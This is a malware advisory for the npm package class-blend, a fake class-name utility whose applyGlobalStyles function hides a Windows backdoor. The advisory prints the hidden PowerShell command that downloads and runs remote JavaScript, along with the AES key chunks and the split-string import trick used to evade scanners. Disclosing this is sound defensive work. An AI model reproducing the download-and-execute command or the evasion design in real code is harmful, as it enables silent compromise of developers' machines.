MAL-2026-4520 Malicious code in class-blend (npm)

The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child_process via split-string concatenation (e.g., ["no","de",":","cry","pto"].join("")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks (["a7b80b01","7e76fb52","fa527621","f76027d2","19014dfc","a59b49ae","3db97ff3","ab4a72fa"]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command "irm <decrypted-url> -o $env:TEMP\s.js; node $env:TEMP\s.js", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.